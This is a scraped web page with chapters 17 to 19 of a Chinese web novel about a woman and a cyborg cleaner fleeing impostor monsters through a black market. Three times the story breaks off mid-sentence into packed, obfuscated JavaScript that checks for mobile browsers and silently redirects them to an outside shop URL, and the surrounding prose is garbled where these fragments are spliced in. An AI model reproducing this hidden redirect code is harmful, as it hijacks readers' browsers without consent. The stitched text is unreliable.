RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045128|148247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉下来摔个屁股墩,游骋调试着机械手臂,这才开口:“有个忙想请你帮。” 园丁内心几乎要崩溃,又鉴于实力的悬殊,迫使他将那股想要爆发的冲动强行压下。 旁观的三人你看看我我看看你,不同程度地咂咂嘴,心里暗自嘀咕:这哪像是请人帮忙,更像是催命吧。 快疯了的不止园丁,还有接到通知及时赶到的zcw533和tyz478。由于各种各样的原因,没能及时阻止这场惨剧。 首先,头儿能不能不要擅自行动。记录仪还没关!!再不关他俩就真的没办法偷偷做手脚了。 再者,这纪令闻究竟有什么来历?头儿几时在意过谁的死活?为了一个远方表妹都找到园丁头上了,这样的举动出现在其他清理者身上或许不足为奇,唯独不可能出现在他们头儿身上。 还有,园丁虽然不具备杀伤力,但……社区只有他一个园丁,还得时常被指派去埋尸。 这还是zcw533第一次觉得头儿虐待老员工。 “非得这样逼我,你赢了,我答应帮忙总行了吧?”园丁举起双手做出投降状,带着一丝苦笑妥协:“求放过。” 园丁偷偷计划着,只要游骋一转身,他就立刻溜之大吉,这个讨厌鬼,今天不过是他太过轻敌,日后定要找机会整治整治。 然而游骋早识破了园丁那点小九九,他眉目深邃,手指轻轻摸索桌上的插花,嗓音沉稳:“怎么不趁机逃跑?我数到三,要是你仍在我的视线范围内……” 剩下的话突然中断,但已经注意让园丁打小所有念头。 “赶紧说吧。”园丁给自己满上一杯热水,轻抿一口压压惊,“又想给我指使什么差事?” “眼珠怪物的粘液毒性,有没有特效药可以解除?” “嘿,那玩意儿还能近你身?”园丁一听就乐了,两眼滴溜滴溜转,随即想到了什么,说:“是那个小姑娘对不对?那些粘液含有麻痹物质,会让人在无痛感的状态下流血过多致死。” 游骋嗯了一声,轻轻把纪令闻放到藤椅上。 纪令闻已经迷迷糊糊窝在躺椅里,自顾自握紧游骋的手,似乎只有这样才能缓解疼痛。 “当然有那种东西。只不过我这儿没有存货。”园丁喘息间想耍个小聪明,卖弄一下,就看见游骋再次调试机械手臂,连忙改口:“黑市有卖的,就是正不正规我可不敢打包票!” 社区里隐藏着一个不为众人所知的黑市,那里专门交易各种虽为仿制却质量超越正品的山寨替代品。 游骋睨了一眼,倒也没再说话。 园丁见他一言不发,有些拿不准,“确实有那种东西。没骗你,就是我没办法提供。你懂的。” 见他还是不为所动,园丁在心思翻来覆去藏着掖着的话都倒了出来:“你最好赶在19:00买到特效要,要是错过黄金四小时的解毒时间,你可就看她翘辫子吧。” 游骋刚迈出园艺坊,被踹开的两扇门就再也支撑不住轰然倒塌,由于太过匆忙,第一次没能准确归位,最终伴随两次调整和修正,它们才再次贴合在门框上,正的正反的反。 “你们先回去吧。” …… 前往黑市的路上,沉寂下来的游骋突然意识到自己有些反常。 他对纪令闻似乎太走心了。 一个居民而已。 死了就死了。 社区最不缺的就是人口,多一个少一个无所谓,生死对于社区来说无足轻重。 为什么还是会觉得她不一样呢。 游骋也想不明白。 17. 第 17 章 刚离开园艺坊,原本就略显压抑的玄青色夜幕突然泛起微光。社区内所有路灯全部骤然亮起,紧接着又猛然熄灭,无一幸免。 随着晃动和诸多诡异的声响里,游骋如同魑魅般消散在原地。 纪令闻眼前被浓重雾气包围,模糊不清,不过眨眼工夫,这些雾就变成一片混沌的熔炉,身体被火焰舔舐,意识却如同在被霜雪覆盖的深渊中漂流,在火与冰的交织中,浮浮沉沉。 就在她努力摸索撤离路径时,一阵及时雨突然洒了下来,起初只是在局部显现,不久后就扩展到全身。在雨雾的倾注下,烈火被扑灭了,持续不断的烧灼感被清凉取代,意识渐渐复苏。 一直紧绷的神经终于松懈,稍稍片刻,纪令闻便再度跌入万丈深渊。 再睁眼,身上的伤口愈合得七七八八。能明显感觉到,昨天那股吃不消的炙烤感已经消散。 纪令闻缓缓挺直身坐起,这才惊觉身上已经换了干净衣服。窗外的景象对她来说完全陌生,而游骋正独自倚在床前,专注地捣鼓着什么。 “现在几点了?” 她抿了抿干燥起皮的唇,牵扯出几分痛感,翻身下床。 游骋眼皮都不抬,“快六点了吧。” “六点了,早上还是下午?”纪令闻打量着四周的环境,“这里是什么地方?人都去哪儿了?” “活口去给你配药了。” 纪令闻喉咙吞咽有异物感,打算出去找点水解渴,刚推开门,赫然看见房梁倒吊着个人正左右摇晃摆动。 纪令闻:…… “你说的活口,”纪令闻拧眉盯着积灰落下来,以及与她对着死不瞑目的脸庞,“还活着吗?” “哦,刚刚没气了。”游骋拖着尾音,仿若想不起来似的,声线偏冷。 他那只原装手握着注射器,抽取试管中的溶液,语调没什么情绪:“跟前几个死法雷同,没有什么创意。” 创意? 这还能有什么花样。 “昨天我带你去黑市逛了一圈,进了几家店铺,里面的人都用黑话交谈,没套出什么有价值的情报,死法还是老样子。” 游骋反手握着注射器,把里面的溶液推出去些,就开始不受控制地发抖。 他的脸色惨白得几近透明,眼睫湿漉漉地贴在眼梢,神色迷迷蒙蒙,突显瞳孔愈发黢黑压抑。看不出情绪,却又让人感受到了深藏着的无力,如影随形。 淡绿色的液体在针头晃动着,要滴不滴。 纪令闻瞥了他一眼,伸手用力把房门关上,深吸一口气接手游骋手上的注射器找准位置,又用沾了碘伏的棉签在他臂膀涂抹,一推到底。 液体缓缓流淌进臂膀血管,冰凉的滋味可不太好受,却莫名安心。游骋抵着椅子,狼狈全无。 当前店铺已闭店,这个时间外面已经没什么动静了,偶尔零零星星的探照灯忽隐忽现,最终绝迹在行道末路无垠的黝黯里。 倒也算不上太黑。 比起每周独自携带七支机械融合液,强撑暗无天日的发作期,那真的算不上什么。 发作之前通常都会有迹象,譬如幻肢痛、体力大幅下降等,大多会推迟两到三天。但提前的次数越来越频繁了,机械溶液不够用。 纪令闻大概感觉到了,“你没事吧?” “虚惊一场。”游骋表情依旧平静,似乎这点危险系数并不足以引起他的注意。 喝了水,进食充饥后,纪令闻在铺子里溜达溜达。这是一间卖假药的店铺,分上下两层。 店主貌似就是那个cos晴天娃娃的。 这样,铺子里真的就只剩下她和游骋两个活口。 回到房间之前,纪令闻专门绕到柜台前给游骋拿了两屉灌汤包,热乎乎的,似乎是刚出锅的,这才返回醒来所处的二楼。 “饿不饿?” 游骋抬眼看了下递到他跟前的灌汤包,敛下神色,丢下手里攥着的残卷,接过她递来的两屉灌汤包。 纪令闻余光扫过游骋:“谢谢你。” 空气中响起一声不明意味的低笑。 游骋垂眸调试了下机械手臂,随后把手里的残卷交给她,嗓音淡淡:“这是大事记副本,想不到竟然藏在这里。” 纪令闻跟游骋保持着距离,不知道是不是她鼻子太灵了,他路过的时候,感觉他身上有种淡淡的清香,特别的清爽,不是喷的香水味,像是皂角的味道。 “和大众知道的版本有什么不一样?” “你自己看看。” 纪令闻重新坐回床上,手里的残卷是牛皮封面,怎么看都是麻线缝的线装书,跟从检查站分发到手的手册,质感几乎一模一样。 翻开一看,前面的内容和她了解的大差不差,社区没有过去也没有未来,发展史一笔带过,过度美化管理员的作为,一直到世界伪人清除组织发布通告,再到管理员创建了种种规则开始,才有了变化。 从检查站领取的手册只是简略版,大肆渲染了严格的工作纪律,而当前手中这本却披露了功绩与光辉的背后,所隐藏的污秽残忍内幕。 自从全球被永夜笼罩,管理员遵照上级指令,接任了智核社区,肩负起沉重的期望与使命。管理员最初怀揣着拯救人类、建设社区的崇高理想,然而,在面对伪人全面入侵社区的严峻挑战时,逐渐意识到自己能力有限,无法扭转局面。 最终无奈被现实裹挟,管理员不得不采取权宜之计,即通过牺牲少数人来保全大多数人。 伪人无法与之匹敌,只能设法规避,而这些规避方法都是无数次的实践和试错中总结出来的。 就凭这一套规则,管理员带领全体管理层,智核社区不仅在永夜时代保留了下来,更是受到世界伪人清除组织的提名。 这上面并未提及管理员是男是女,亦或者是一个人还是一群人,仿佛这个人生来就是管理员,没有姓名,没有家庭信息,从来都没有自我。 总之,人类至高无上又低如蝼蚁。 难道所有人都会默认这种生存法则? 不,也有挺身而出抵制这种制度的人类。 突然有一天,一个女人出现了,明知必死却义无反顾。而她的下场,则是被打成智核社区的异类。有人说她死了,有人说她还活着,也有人说她消失了。 寥寥几笔被带过的,也许就是别人的一生。 没有先例,早晚都有胆大的人反抗。一批人以探险为名离开社区却在途中迅速失温冻死,在所有队员的尸体上,均发现生前受过伤,死亡姿势千奇百怪。 更神秘的是,记载到这里至今悬而未破。 大事记和社区居民提供的信息已经说的很清楚了。 社区管理层因此汲取灵感,任何想要离开社区的人,都需通过探险来证明自己。在整个智核社区的反骨仔彻底消失之前,他们试出了怎样的情况会出岔子,最后筛选出稳定性高的人类种子,延续人类基因。 为了让居民更听话,即使是允许放人外出探险也可能被质疑为管理层暗中操控。因此,只有萌生强烈去意的人选择出去,才更有说服力。否则管理层又何必特意再设置一个探险的任务呢? 之前所有探险者都是死于社区外的极寒天气,读通顺仔细的话,就会知道这里还有一层反转:恒温服足够应对社区内的气温,恰恰走出社区就失效了。 几分钟后,合上大事记,纪令闻重重吐出一口气,“我想,我明白了。” 游骋闯入她的视线,等她接下来可能托出的话。 “你上次说,管理员想见我还作数吗?” “还记得?” “是。”纪令闻从牙缝里泄出一个字,拍了拍手上的灰,眉梢微挑,似乎在考虑下一个步骤,“就是因为记得,才不敢忘我们的交易。” 说是要见管理员,但纪令闻没有太激动,反而他俩被困在假药铺是门心思。 她盯着再次出现两屉灌汤包的柜台瞧了半晌,决定先绕着铺子里面探探。两三圈转完回到七点,除了墙板旁边那个菱形窗格在光线映照下把五彩斑斓的多彩光散到室内每一个角落外别无所获……其实不然。 菱形窗格正对着的是条宣传条幅,红得发邪。只见上面写着:一跳百病消,一跳解千愁。 只要不是色盲文盲都能觉察到有什么奇怪的地方。 纪令闻朝菱形窗格看去。 她的直觉告诉她,这不是一个普通的窗户。 细读完大事记副本,纪令闻深知‘离开这里’绝非头脑一热就能实现,三思而后行。可问题就在于,无论‘离开这里’还是‘留在原地’,横竖都逃不了一死。 死ing难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105275|148247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看和死ed难看的区别。 但话又说回来,‘离开这里’,兴许还能找到点有用的信息。既然内有伪人,外被冻死,按社区规定的逻辑,按时工作肯定也是另一种形式的禁锢。 纪令闻盯着这扇菱形窗格,越看火越旺。 早班上班打卡下班没打上卡,她甚至都不敢想,那种早出晚归、累死累活又挣不到工时的感觉,多么令人着迷。 “想好怎么出去了吗?”游骋靠着椅背,目光看过来,神色隐匿在光影中看不真切。 纪令闻顿了顿,“你怎么想。” “你怎么想我就怎么想。” 这句话纪令闻听得清清楚楚,但听不懂了。 她不免揣测,只是揣测,“你没事跟我同步干什么?” 游骋没有回答,只是握住纪令闻的手腕,猛地拽着她冲出菱形窗格,靴子一脚蹬着玻璃碎片跳跃而出,那些较锋利的彩色玻璃闪光反射出两人面容,洒下灰蓝和橙红绚烂光彩,如梦似幻。 几乎是同时,平稳落地后,纪令闻偏头看着站在自己身边状态不错的游骋,抿着唇没说话,开始四处张望。 她总感觉黑市有着些什么东西。 有可能是危险,也可能是机遇。 “怎么办?这路上可没有趁手的工具。”纪令闻后悔离开假药店的时候太过匆忙,以至于昨天不离身的扳手都忘记拿,现在都还惦记着。 这种情况,有没有怪物现身还真是个未知数,最好是没有,一旦出现,恐怕又要掀起一场大逃亡。 “怕什么。”游骋沉声答:“到时候你只管往前冲,剩下的交给我处理。” 这熟稔的口吻,倒好像他们以前认识一样。 纪令闻强压下满腹猜忌,低声探问:“怎么说?你有什么金手指,能让人死而复生,或者绝地求生那样的?” “不排除,就当做是真的也行。”游骋说的轻描淡写,很没有诚意,想来也不在乎这些细枝末节。 说话功夫,周围的一切仿佛静止了。 肆虐强光袭来,纪令闻极为不适地眯了眯眼,抬手挡眼,刺目光线还是从指缝间隙穿透,将她的视线切割得支离破碎,只能眯缝着眼。 这道光照到身上,让她想起颅内深处某些不好的记忆。 “上方区域有人在例行巡查,别出声。”游骋忽地向后一展,巧妙摆脱探照灯的照射范围,做这动作的同时,他顺带抓住她的手臂往店面扯,她猝不及防地撞到卷帘门上,发出哐哐的撞击声响。 紧接着,纪令闻脑袋撞上了男人的胸膛,弹了那么一下。 才得以稍作喘息,现在已经没有时间给纪令闻感受刺激了,直觉告诉她有什么东西即将来临,再不赶紧离开黑市,很可能今天会有大事发生。 事与愿违,一切早已变得混乱起来了,她心里清楚有些事压根逃不掉。 就比如现在。 一阵冷风从风口猛然席卷而来,挂在东西两端的电线随风摆了摆,混合着腥味、霉菌味、尘土味的风直灌纪令闻的鼻腔,激得她全身毛孔都竖得快要裂开一样。 楼上传来了清晰的脚步声,正沿着扶手一步步向下,往低处回响移动,显然是有人正在下楼。 该不会是被巡逻人员发现了吧? 纪令闻调整好自己的呼吸,不过几秒,疾风停歇,紧闭的卷帘门却在这时自动打开。 但刚进去那家店坐下,一个不速之客转过对面的椅子旋身,以一种皮笑肉不笑的表情望着她,说:“纪令闻,别来无恙。” 随着卷帘门降下,毫无防备地撞见,纪令闻愣了两秒之后,只感觉脑袋被人打了一闷棍似的,停止了运转。 “你认识我?” “话别说的那么难听,我们就不能是故友重逢吗?”她意味深长,咬重音节,“毕竟我们挑男人的品味出奇的一致。” “男人?”纪令闻眉心微微皱起,“你是说他?” 察觉异样,蓦然转身,笔直地撞进一双漆黑的深眸里,对上他清晰到能数清多少睫毛的眉眼。 这才发现,不知道什么时候开始,游骋的目光已经定在她身上,神色寡淡,平静得过分。 女人目不转睛看着纪令闻,语气看似称赏实则揶揄:“白吃了我两屉灌汤包,你真能沉得住气啊,我以为你不会来找我了。” 18. 第 18 章 “抱歉,灌汤包我会还给你。”纪令闻俯身赔不是,好整以暇地回望游骋,“再说我有那么让人讨厌吗?” 游骋十分受用,只打量了她几眼,说:“不讨厌。” 声音不算大,却足以让在场的人听清。 纪令闻反而没有了一开始的紧张。 这是在黑市的地盘。 她不是循规蹈矩的那一类人。 女人全身僵住,像是被一道惊雷劈中,一动不动地瞪着纪令闻。可是心里想了又想,这有什么,女人就是两幅面孔这句话是不会错的。 “还是那副天不怕地不怕的样子,你落到这副天地不就是活该嘛。” “所以你看我不爽,打算落井下石了?” 没跟纪令闻打过几次交道,直至此刻才领略到她的伶牙俐齿远胜于想象。 “那倒不会。”女人朝纪令闻晃了晃手里的烟斗,话锋一转,“不过你不亏,前脚从中毒状态醒来,后脚出来就能走两步,你应该感谢我才是。” 尽管她没说全,但纪令闻也能听出,她的意思大概是算账来了。 被莫名其妙扣了个罪名在身上,纪令闻虽感意外,但静心梳理一下这番话,其实也并不深奥。 这个女人不仅认识她,还很清楚她的过往。动机让人捉摸不透。 尽管听起来很无稽,但纪令闻的脑子还是轰的一声炸开,脑子的方案都不适用,更做不到坦然应对了。 “你确定我们很熟?为什么我对你一点印象都没有?” 蒸笼四周,白雾缭绕成旋儿升起,热气翻涌而上,伴随着包子喷香的气味逐渐扩散开。 游骋站在卷帘门前,模样在缭绕的雾气下有些失真,他低眼从口袋里摸出芯条,往后槽牙咬了根,不发一言。 纪令闻刚在长条凳坐下时,明显摸到了上面厚厚的积灰,而里面无论是热气腾腾的蒸笼,还是那些简陋的摆设和不锈钢连体餐桌,给人一种闲置多时的气息,太过陈旧。 种种细节都表明,这看起来好像并不是一家只卖包子的店铺。 女人狐疑地端详着纪令闻的表情,确定她话里没有掺假之后,这才抬起头惊诧看她,爽快地说了句:“我是苏构若,是黑市片区的老板。你有什么想知道的?尽管问。” 纪令闻应了一声,极其有心眼地什么都没问。她脑袋有些混乱,她走出家门一切都是游骋一手促成的。 可现在,却让误入的黑市老板打乱了。 她看了眼方正规整却让人晕头转向的布局,实在很难将这里跟黑市画等号,说它是黑市,但看起来更普通的商铺一条街。 很诡异。 确切地说,这里诡异无处不在,诡异之处密集到让人对诡异这一概念产生了模糊感。 但最能凸显也是最快概括的要点就是——这位名叫苏构若的老板。话里话外都透露着一股她们是老相识的信息,这种描述实在是太奇怪。 纪令闻回头瞥向垂眸看着地板的游骋,说:“你是不是早就认识苏老板?表哥。” “你认为我和她之间的交集有你多?”游骋同她对上一眼,快步走到她面前,想将她从这家店铺拉走。 “此地不宜久留,我们得走了。” 提到这个,纪令闻有种在阅读理解最后一页找到标准答案的感觉。 游骋对她的态度一如既往,没有任何异常。 就像之前说要带她见管理员的话是随口说说糊弄她一样。 不可否置。 当然也没有久留的意思。 “什么表哥表妹的,你俩可真会玩,这种情趣还真让人摸不到头脑……” 话还没说完,卷帘门外响起砸门声,一下接一下,苏构若气得烟斗都晃了两晃。 也重重压在纪令闻心头。 她屏住呼吸,扭头看向游骋。 男人神情全是寒冰铸就的利器。 与张牙舞爪骂骂咧咧去开门的苏构若形成了巨大的反差。 纪令闻也不想再纠结这个事情了,她现在只是觉得心里憋得慌,得不到肯定的回应,整个人都跟着稀里糊涂。 虽然她现在还不知道苏构若有什么目的,但她既然拿过去的事情作为谈判的砝码,且跟游骋看起来不是很对付的样子,就说明这件事了不得。 “走!” 几乎无需任何延迟,未等大脑给出信号,纪令闻就冲向游骋一把抓住他的手臂往里带。 疼是不疼的,这点动作倒是更像在乎,却还是少有的发生在游骋身上,然而他现在无暇多想,反手一拉,同纪令闻多金落地窗后的隐蔽处。 落地窗配着加厚天鹅绒窗帘,为两个人搭建了一个隐秘的屏障,刚好能将两个人的身形挡得严严实实。 短短几秒的遮光,纪令闻凭借着敏锐的感官洞察力,迅速捕捉到不久前见到的假药店吊死的‘尸体’,修按在是一股血直冲脑门,什么都顾不上,目光相接。而那‘尸体’竟还举起手,跟她低声打了个招呼。 “嗨~” 纪令闻从记事起见过无数次不寻常事件,但在此刻熙熙攘攘的环境中,她哑了声。 这份惊讶没有持续太久。 纪令闻冷静了一下,侧身过去,下意识攥住游骋的手臂,算不上真心。 不过明显感觉到,她做完这个动作,游骋没太大抗拒,身体微微倾向她,目光在她头顶回转。 他的视线并无亵渎之意,自然也不冒犯,只是不带情绪地掠视,让人难免觉着被束缚。 纪令闻自己却没有感觉到这种细微的变化。 已经有巡逻人员步入室内,骤然发问:“女士,你有没有发现什么可疑人物?” “开门做生意,关门就休息,我这可没你们要找的人。”苏构若漫不经心说了句,随后懒散道:“只是不想沾惹麻烦事。怎么,我还得让你们地毯式搜索?” “那倒不至于,我们只是职责所在,关心居民的安危。” 你来我往的声音如乱麻混在一团。 可纪令闻此时什么都听不进去,耳膜絮絮一片的嗡嗡杂音,其他声音都被屏蔽了。 扣在游骋手臂的指尖泛了白,她毫无知觉。 直到,店铺里下一句话响起:“奇怪,这窗帘后面好像有东西。” 苏构若懒懒勾起眼尾,“哪有。” 人回头不满地看着苏构若,摩挲着下巴,“窗帘后面最容易藏人了,要是再藏不住,可就没地儿藏了,而且事关全体居民安危,不能就这么算了。” 说完,他想起什么,让苏构若去掀开窗帘,给他们看看到底有没有藏人。 纪令闻嘴唇抿作一条线,但她很有底气,别人就应该有脑子,发展到这步就还不算完。 巡逻的人直属于清理者管理,游骋避免正面交锋,就意味着他不想暴露自己的行踪。 在掀开窗帘的那一秒,纪令闻还听见一片咯咯的噪音中,以及巡逻人员先后传来的惨叫声。 “游骋!” 听不到任何回答。纪令闻不带丝毫犹豫,趁门外的异物还关注摄取人类热量的时候径自溜了出去。 她还记得外面的地形,假药铺外挂着一排LED灯笼,没有接地线…… 在缺乏防身器具的情况下,火无疑是最靠得住的防御。 要不是苏构若的烟斗,纪令闻还想不起来自己兜里放了个火柴。 尽管纪令闻尽量让自己的心情平复下来,但心跳声仍然像战时鼓点一样响亮。 受困值班室时她点了蜡烛,而用来点蜡烛的火柴就一直被她踹在衣兜里,即便昨天经历那么激烈又混乱的缠斗,恒温服被腐蚀开一个大缺口,那盒火柴仍旧完好无所地存放着,还有密封袋装着的头发也没事。 纪令闻顺着衣服被腐蚀最严重的缺口用力一撕,撕下大块布料,再一使劲,撕成细细的布条,拴着石子扔到LED灯笼破坏金属部件。她眼神坚定,动作也由生疏到熟练。 灯芯因接触不良而闪烁了一下。 就在这一瞬间,霹雳火花带闪电,空气中似乎凝聚了所有的能量,那些逼近的的奇异生物根本无从躲避,就被强烈电流电得外焦里烂,散发出阵阵令人作呕的焦糊味,发出凄厉的哀嚎。 但这一切很快就被电流的轰鸣声淹没。 新出现的这批生物,与之前的在外观上存在很大差异,摄取人类热量后使它们逐渐呈现出更多的人类特征,但介于是人与非人之间,眼睛全黑没有眼白,背上还长着一对极不协调的无毛鸡翅膀,第二只半价,拼接感十足。 不确定会不会卷土重来,但起码能拖延一些时间,争取到片刻的喘息机会。 一股燃烧后的油性气味突然毫无征兆地从纪令闻身后扑来,这种气味此时比较强烈,带有一种烟熏火燎的感觉。 她看都不看都知道,游骋就在她背后。 他说:“我跟你说过,你只需要往前冲,剩下的交给我来处理。” 一大早就大动干戈的,纪令闻这会儿觉得太阳穴又痛又胀,把他的话口头复述一遍后,后知后觉地说道:“你不觉得你这样太英雄主义了吗?” “这么评价我,你是独一份。”游骋抬眼,顿了顿,还补充了句:“你究竟知道不知道,我比你想的还要卑劣。” 纪令闻睇了游骋一眼,“那你知道不知道,我比你想的差十万八千里。” “嗯,我知道。”他脸上浮现短暂空白后,不可抑制地笑了两声。 很不留情的。 但也仅仅止步于此。 游骋出手更加片甲不留,果断将后背交给纪令闻,接着举起机械手臂,发射出电磁炮,击退那些飞扑过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115469|148247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的焦炭鸡翅膀。 直接就是毁灭性打击。 早就出招或许就不用那么费劲了。 见他参与进来,纪令闻不再恋战,与那些怪物周旋的同时,也在计划着最佳逃跑路线。 这样的话,她准时回归岗位的事,确实是得往后稍稍了。 沿着记忆中的地形,总算有惊无险地离开了包围圈。可即使离开了包围圈,两人还是不能停下脚步,直到彻底听不见任何风吹草动,才折返去找苏构若。 纪令闻复盘刚才的一切,脑子忽然来了个急转弯,找到专人去化验这团头发并不容易,鬼使神差问了句:“苏老板,你对头发感兴趣吗?” “头发?” 苏构若似觉得有趣,看着她眼睛正要说什么,霍然顿住,才觉荒唐般噗嗤笑了起来。 笑止住片刻才说:“挺好。” 纪令闻不知道她说的挺好是什么挺好。 “拿给我看看。”苏构若轻轻叹了口气,将烟斗里的灰倒了,捏着密封袋看上一眼,“死人的头发可卖不上价。” “还真是。”纪令闻顺势接话。 苏构若已经知道了纪令闻藏着掖着点事,只是没想到她拿来个死人的头发鉴定。 这对奸商而言,究竟是一种怎样卡脖子的折磨。 “我很有把握,这头发的主人已经被取代了,而且,社区里被取代的不在少数。” 这跟纪令闻猜测得没什么太大出入,事实很可能就是他们担心的这样严峻,智核社区已经不再是人类的栖息地,这一点是毋庸置疑的。 游骋对此并未发表个人意见,只是用公事公办的语气问:“从哪儿弄来的头发?” 不急不躁,却带着恰到好处的直击要害。 许是他的目光太明确,纪令闻不是没感觉到游骋的危机感,但有些时候,该隐瞒的还是要隐瞒。 眨了眨眼,她说:“捡的。” 回答上是闪烁其词了点,但总的来说不算作假,只是信不信的问题。 纪令闻想尽快回员工宿舍了。 游骋迟迟没回音。 上次他那一番信誓旦旦的邀约很像戏弄人。 某种意义上说,有点说话不算话。 不等思绪落下,纪令闻只感觉一阵掌风贴着耳侧袭来,她一个转身,避开了那批下来的重击。 下一秒,冷不防脖子被掐住。 男人的手,非常冰冷,一把就把纪令闻提溜了起来,将她按在墙上,吐出口腔止咬的芯条,双眼赤红地盯着她看,锋利眉眼藏匿三分阴翳,没有温度。 他与她平视,距离贴近,她清楚看见他眼底翻腾的疯狂,嘴角噙着毫不掩饰的张狂,似乎他已深陷杀戮的快感之中,不能自已。 那不像是看同类该有的眼神。 倒像是在看……猎物。 苏构若看到游骋的神态,顿时明白他失控了。那一瞬间,靠近却一下对上另一人拦截的目光,是坦荡,琥珀色的眼眸尽显他的好意。 可苏构若并不领情,只想抢救一下濒死的纪令闻,扭身就想从他手上挣开。 男人执意不肯放行,正要缩回手却被他包裹在内,苏构若折腾了半天,也没见得解放。 纪令闻大脑处于缺氧状态,张着嘴,一点声音都发不出来,目光游移他在因用力而青筋暴露的手,指腹有一层老茧,有些粗粝。 像机械毒蛇,紧密地攫住了,令人动弹不得。 她脑海闪过一丝念头。 如果游骋用的是机械义肢,那她的身体跟脑袋就得分家了。 游骋眉头攒动,眼睛充血得厉害,看着纪令闻在他手上不挣扎不反抗,只觉不合常理。 越想越圆不上,他俯身狠狠咬住纪令闻的脖颈,牙齿发力,没了平时的清醒理智,只跟着她的脉络走,像一把刮骨的刀,千刀万剐,又深又重。 皮都磨破了却不见血。 纪令闻也在此时摸到了块板砖,趁着游骋困惑不解的功夫,照着他脑袋猛地来了那么一下。 “啪!” 物理攻击没能让游骋倒地。 额头好像磕破了,殷红的液体蜿蜒而下,流到眼睛里。他眨了眨眼,就看见纪令闻面无表情地将板砖第二次拍在他脑袋上。 无从分辨怎么着,人就倒下了。 片刻,她缓慢地站起来,俯视放倒的游骋。 惨灰的脸色,乌黑的发被汗水浸湿黏在两鬓皮肤上,脖子残留他的牙印,焦茶色的眼眸渗出一种决绝,满是提防。 不知道哪来的狠劲儿。 纪令闻眼前黑了一瞬,人往前边栽。 幸亏苏构若一直在不远处,及时将她拉拢回来。 游骋仍没有放手,还没来及说话,就听到有道男声大喊:“不好了,那些鸡翅膀变异了!” 19. 第 19 章 片刻,尸体小哥僵硬地停了动作,仿佛看到了什么可怕的东西,他直挺挺地伸着手指指向门外,表情惊恐地退到苏构若身后。 纪令闻瞧他一眼,极快地走到门边。 卷帘门破了个拳头大的窟窿,只是上面残留太多杂质,不是很影响看清外面的情形。 所谓变异,说通俗点,就是背上的翅膀长出了毛簇。不是柔美鸟类羽毛,而是蜷曲人类体毛,犹如噩梦中蠕动的触手,简直是让人看了一眼就不忍看第二眼,唯恐多看一眼就会被头皮发麻如潮涌至。 “嗬……嗬……”气管深处发出沉重而艰难的喘息声,就像被浓痰阻塞了要道。 本来就岌岌可危的卷帘门被拍得砰砰作响,外面还有人声用撕心裂肺的声调大喊:“救命啊!开门啊!我还不想死!” 窟窿里探出好几双手,拼命地抠挖摸索,有的手指甚至因过度用力而断裂,看着就疼。 事实上,外面已经没有符合人类标准的生物了。声音、形态、行为这些都可以模仿,但眼神不能。 “我会帮你收拾这个烂摊子,就算与整个智核社区为敌。”苏构若果断地做了取舍,“如果伪人攻破这里,那我们……” “那我们一起消灭它们。”纪令闻毫不迟疑地说道。 苏构若缩了下拳,觉得这话有些矫情,但还是说了出来:“好。” 与正规市场不同,黑市没有税收、不受社区的管辖,也没有势力的控制。这种无法无天的环境为黑市的繁荣更上一层楼。在这片区域,可以摆脱规定的束缚,自由进行交易活动。而弊端也很明显,黑市在社区中处于无保护状态,得不到应有的保护。 但还得提一句,这里还有一位现成的清理者。 刚被搬砖拍完的游骋,隔离服上蹭了点灰,看着却丝毫不显落魄,像一件被拉下神龛的优质品。骤然间,机械手臂连接臂膀的位置掀起真切的疼痛,绷不住喊出一声痛呼。 纪令闻应声转头,就看到此刻紧捂着机械手臂,半跪在地的游骋。他身材高大,眉眼轮廓锋芒尽显,在她面前却像是刚出窑的陶瓷,一碰就碎了。 让人无端产生一种罪恶感。 纪令闻良心发现地想起自己下手未免太黑,旋即上前搀扶,拉起他的原装手臂搭上她的肩,架着他起来走两步。 单凭力气,纪令闻还是有的,绝对称得上是男人的对手,然而背着这超出体重的游骋时,只能尽可能地运用巧劲儿。 两人之间难得这样亲近。 纪令闻现在很愧疚,可游骋不见外,将身体大部分重量都向她身上倾斜,脚步轻晃着,不自觉就往她脖颈靠拢。 睫毛与肌肤擦过的颤栗打得纪令闻耳朵一个激灵。 游骋眼睛也不眨地问她:“难受?” 纪令闻摇头。 不难受,就是有点痒。 于情于理,她都不能撂担子不干了。 纪令闻和游骋相处时,总会觉得不太自在,大概是他身上的杀伐气太重。 浑身上下都透着理性的家伙。 也会有不受控的时候。 游骋清醒了几分,余光瞥见她锁骨靠近脖颈,留下一排牙印,有点肿。 游骋:“你这么推脱,是不是有什么事瞒着我?” 纪令闻目光撇过来,咬肌被她咬得微微鼓起,想要避免与游骋的对视。 一直以来她在游骋面前就像张白纸,接收所有来自他的消息,她从来没有隐瞒过他什么。 纪令闻本来就不擅长撒谎,更别说是想要在游骋这蒙混过关。 在昏暗的密室中,火把是唯一的光源。 火光摇曳,游骋隐身在暗处,面容模糊,让人看不清他眼底的情绪,威慑力相当足。 